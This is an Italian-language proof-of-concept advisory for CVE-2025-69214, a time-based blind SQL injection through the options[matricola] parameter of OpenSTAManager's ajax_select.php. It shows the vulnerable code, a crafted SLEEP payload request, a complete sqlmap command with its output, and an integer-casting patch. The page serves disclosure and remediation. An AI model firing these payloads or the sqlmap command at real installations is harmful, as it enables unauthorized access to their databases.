
Proof-of-concept per CVE-2025-69214: SQL injection nell'endpoint componenti di ajax_select.php di OpenSTAManager. Include analisi del codice vulnerabile, sfruttamento blind basato sul tempo con SQLMap e indicazioni di remediation.
| Campo | Dettagli |
|---|
| ID CVE | CVE-2025-69214 |
| Gravità | ALTA |
| Advisory | Visualizza Advisory |
| Scoperto da | Lukasz Rybak |
Una vulnerabilità di SQL Injection è presente nell'endpoint ajax_select.php quando viene gestita l'operazione componenti. Un attaccante autenticato può iniettare codice SQL malevolo tramite il parametro options[matricola].
File: modules/impianti/ajax/select.php:122-124
case 'componenti':
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
$_GET['options']['matricola'] → $superselect['matricola']IN() senza sanitizzazionePoC manuale (Blind SQLi basata sul tempo):
GET /ajax_select.php?op=componenti&options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>

Sfruttamento con SQLMap:
sqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \
--cookie="PHPSESSID=<session>" \
--dbms=MySQL \
--technique=T \
--level=3 \
--risk=3
Output di SQLMap:
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI
back-end DBMS: MySQL >= 5.0.12

Eseguire il cast dei valori a interi prima di utilizzarli in SQL:
Prima:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
Dopo:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$ids = array_map('intval', explode(',', $impianti));
$where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')';
}
Scoperto da: Łukasz Rybak
Questa CVE è stata divulgata in modo responsabile seguendo le pratiche di divulgazione coordinata delle vulnerabilità. Le informazioni qui fornite hanno scopo esclusivamente educativo e difensivo.